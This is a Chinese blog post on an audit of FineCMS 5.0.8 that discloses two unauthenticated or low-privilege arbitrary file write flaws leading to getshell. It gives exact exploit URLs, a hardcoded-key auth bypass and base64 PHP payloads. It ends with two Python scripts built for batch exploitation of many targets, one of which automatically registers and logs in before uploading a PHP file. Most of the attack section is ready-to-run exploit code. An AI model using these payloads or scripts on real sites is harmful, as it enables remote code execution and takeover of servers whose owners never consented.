0x01 前言

就要被**,美其名曰:比我的web安全研究和代码审计更有前途。当然是选择原谅他啦。

先审计finecms去去火,找到六处漏洞,先放两处容易被发现的getshell和对应的两个python脚本

0x02 getshell

第一处getshell:在C:phpStudyWWWfinecmsdayruicontrollersApi.php中的data2函数,大约在第115行,有问题的代码大约在178行public function data2() {

$data = array();

// 安全码认证

$auth = $this->input->get('auth', true);

if ($auth != md5(SYS_KEY)) {

// 授权认证码不正确

$data = array('msg' => '授权认证码不正确', 'code' => 0);

} else {

// 解析数据

$cache = '';

$param = $this->input->get('param');

if (isset($param['cache']) && $param['cache']) {

$cache = md5(dr_array2string($param));

$data = $this->get_cache_data($cache);

}

if (!$data) {

if ($param == 'login') {

// 登录认证

$code = $this->member_model->login(

$this->input->get('username'),

$this->input->get('password'),

0, 1);

if (is_array($code)) {

$data = array(

'msg' => 'ok',

'code' => 1,

'return' => $this->member_model->get_member($code['uid'])

);

} elseif ($code == -1) {

$data = array('msg' => fc_lang('会员不存在'), 'code' => 0);

} elseif ($code == -2) {

$data = array('msg' => fc_lang('密码不正确'), 'code' => 0);

} elseif ($code == -3) {

$data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);

} elseif ($code == -4) {

$data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0);

}

} elseif ($param == 'update_avatar') {

// 更新头像

$uid = (int)$_REQUEST['uid'];

$file = $_REQUEST['file'];

//

// 创建图片存储文件夹

$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';

@dr_dir_delete($dir);

if (!is_dir($dir)) {

dr_mkdirs($dir);

}

$file = str_replace(' ', '+', $file);

if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){

$new_file = $dir.'0x0.'.$result[2];

if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {

$data = array(

'msg' => '目录权限不足或磁盘已满',

'code' => 0

);

}

其中,首先$file = $_REQUEST['file'];

获取$file变量if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){

$new_file = $dir.'0x0.'.$result[2];

if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {

$data = array(

'msg' => '目录权限不足或磁盘已满',

'code' => 0

);

然后用preg_match函数进行正则匹配,因为$file变量可控,所以$result也是可控的,从而$new_file也是可控的,可以构造为php文件,然后file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file))))

对$result[1]进行base64解码,然后写入$new_file文件中。显然,是可以任意写文件进行getshell的。所以,我们要让程序能够运行到这些代码,不能在之前就退出了。要经过$auth = $this->input->get('auth');

if ($auth != md5(SYS_KEY))

SYS_KEY被系统硬编码为24b16fede9a67c9251d3e7c7161c83ac,在C:phpStudyWWWconfigsystem.php中有定义。直接md5加密一次即可绕过

所以最终的payload为http://localhost:88/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

第二处getshell:在文件C:phpStudyWWWfinecmsdayruicontrollersmemberAccount.php中的upload函数if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){

$new_file = $dir.'0x0.'.$result[2];

if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {

exit(dr_json(0, '目录权限不足或磁盘已满'));

注册会员,登录访问:http://localhost:88/index.php?s=member&c=account&m=upload

POST:tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

0x03 Python批量poc脚本

pocsuite和poc-T是两个成熟的poc框架,不过感觉核心代码是别人的,只写一些poc插件的话,就是为别人造轮子,所以抽了一些代码写了个自己的工具,可能连轻型框架都算不上,只够自己用的。

第一处getshell的python代码(因为是直接getshell,无需登录,所以很简单):import sys

import requests

def poc(target):

payload="/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+"

url=target+payload

shell=target+'/uploadfile/member/0/0x0.php'

try:

result=requests.get(url,timeout=3)

verify=requests.get(shell,timeout=3)

if verify.status_code==200 and 'code' in verify.text:

return True

except Exception,e:

print e

第二处getshell的Python代码(需要自动化注册、登录、利用):#Finecms version:5.0.8

#Author:404notfound

import random

import sys

import requests

def poc(url):

username=random.randint(0,999999)

seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

email = []

for i in range(8):

email.append(random.choice(seed))

email = ''.join(email)

#print email+"@"+email+".com"

#print username

#step 1 register

#print "[+] register user"

register_url=url+"/index.php?s=member&c=register&m=index"

register_payload={"back":"","data[username]":username,"data[password]":"123456","data[password2]":"123456","data[email]":email+"@"+email+".com"}

#step 2 login

#print "[+] user login"

login_url=url+"/index.php?s=member&c=login&m=index"

login_payload={"back":"","data[username]":username,"data[password]":"123456","data[auto]":"1"}

#step 3 attack

#print "[+] loading payload"

vul_url=url+"/index.php?s=member&c=account&m=upload"

vul_payload={"tx":"data:image/php;base64,NDA0bm90Zm91bmQ8P3BocCBwaHBpbmZvKCk7Pz4="}

try:

s = requests.session()

resu=s.post(register_url,data=register_payload)

result=s.post(login_url,data=login_payload)

result2=s.post(vul_url,data=vul_payload).content

if "status" in result2:

return True

else:

return False

except Exception,e:

pass

#print e

#print "[+] ALL DONE"

#step 4 find shell path

#print poc("http://localhost")

finecms aip.php漏洞,FineCMS最新版5.0.8两处getshell(附python批量poc脚本)相关推荐

  1. php 越权 漏洞,PHPYUN最新版SQL注入及多处越权操作终结篇

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)SQL注入及多处越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...

  2. php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...

  3. 网站安全狗iis版 php,网站安全狗Apache新版v2.0官方发布

    大家期待已久的网站安全狗Apache新版 v2.0终于推出了!新版本增加网马主动防御.网页防篡改等功能,更好地满足了用户对服务器安全的防护需求. 距网站安全狗Apache v1.0正式版发布,已时隔9 ...

  4. Linux安装redis最新版5.0.8

    详解Linux安装redis最新版5.0.8 如果是在校大学生,可以到阿里云网站去免费领取一个半年的阿里云服务器,不知道现在还可以免费领取不. 也可以安装虚拟机,在虚拟机上安装redis. 在wind ...

  5. mysql8创建用户并授权_新版mysql8.0.12添加用户并设置权限避免踩坑!

    新版MySQL8.0.12中,添加用户并设定权限 MySQL8.0之前在添加用户的时候可以直接设置用户权限如: GRANT ALL ON *.* TO `zqj`@`ip` IDENTIFIED BY ...

  6. vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...

    文章说明 漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...

  7. Tomcat【环境搭建 01】安装包版本说明+安装+参数配置+启动(JDK11+最新版apache-tomcat-10.0.12)

    本文的安装文件是从官网下载的最新版apache-tomcat-10.0.12.tar.gz以下内容均以此版本进行说明 1. 安装包下载 安装包可以去 Tomcat官网 进行下载. [root@aliy ...

  8. iKcamp出品|全网最新|微信小程序|基于最新版1.0开发者工具之初中级培训教程分享...

    ?? 微信小程序课程,面向所有具备前端基础知识的同学 ?? iKcamp官网:http://www.ikcamp.com 访问官网更快阅读全部免费分享课程:<iKcamp出品|全网最新|微信小程 ...

  9. golang 远程批量执行shell_S2061远程代码执行漏洞复现及批量检测脚本(CVE202017530)...

    声明 由于传播.利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,博鸿科技安全服务中心以及文章作者不为此承担任何责任. 博鸿科技安全服务中心拥有对此文章的修改和解释权 ...

  10. harbor安装_Harbor任意管理员注册漏洞(CVE-2019-1609) (附:批量利用poc)

    一.漏洞介绍 此漏洞属于一个严重的权限提升漏洞,该漏洞使任何人都可以在其默认设置下获得管理员权限. 该漏洞已分配给CVE-2019-16097,已于9月10日公开. Harbor是一个开源的云原生注册 ...

最新文章

  1. SAP BADI应用
  2. 【c语言】蓝桥杯算法训练 平方计算
  3. ACM 配置中心实战:Spring + MyBatis + Druid + ACM
  4. 题注Oracle数据库的网络连接原理
  5. 2021垂直类电商私域化洞察报告
  6. linux 下创建GRE隧道
  7. computed的原理
  8. Uber无人车安全员之困:这是一份机械、枯燥、影响心理的工作
  9. 数据治理中哪3点最重要
  10. 借助Haproxy_exporter实现对MarathonLb的流量和负载实例业务的可用状态监控-续
  11. SQL Server 2005 在64位win7操作系统下的安装及问题总结
  12. win10安装cmder和WSL
  13. 《深入浅出WPF》——命令学习
  14. 计算机视觉与计算机图形学
  15. AngularJS 事件
  16. java 进制转换类_Java基本数据类型以及进制转换
  17. 2022年博士招生 | 华南理工大学-鹏城实验室 联培博士 专项计划
  18. 怎么压缩图片 ? 掌握这几种免费压缩图片的方法就够了
  19. 面试系列(二十):金山云 C++开发
  20. html 点击加入qq群,怎么样加入QQ群?加入QQ群两种方式介绍

热门文章

  1. 快速幂都能做什么?小小的算法也有大大的梦想
  2. 这是一个刚入行程序员的成长
  3. 什么是ESP/MSR 分区,如何建立ESP/MSR 分区
  4. 星巴克与阿里巴巴合作咖啡外卖
  5. 微信公众号模板如何使用?公众号模板教程!
  6. 用js处理图片加载错误时加载默认图片的方法
  7. 2022年招商团长未来两年发展趋势分析
  8. 我真要戒游戏了毒奶粉再见!
  9. .bat 常用命令
  10. 拦截导弹问题(递归)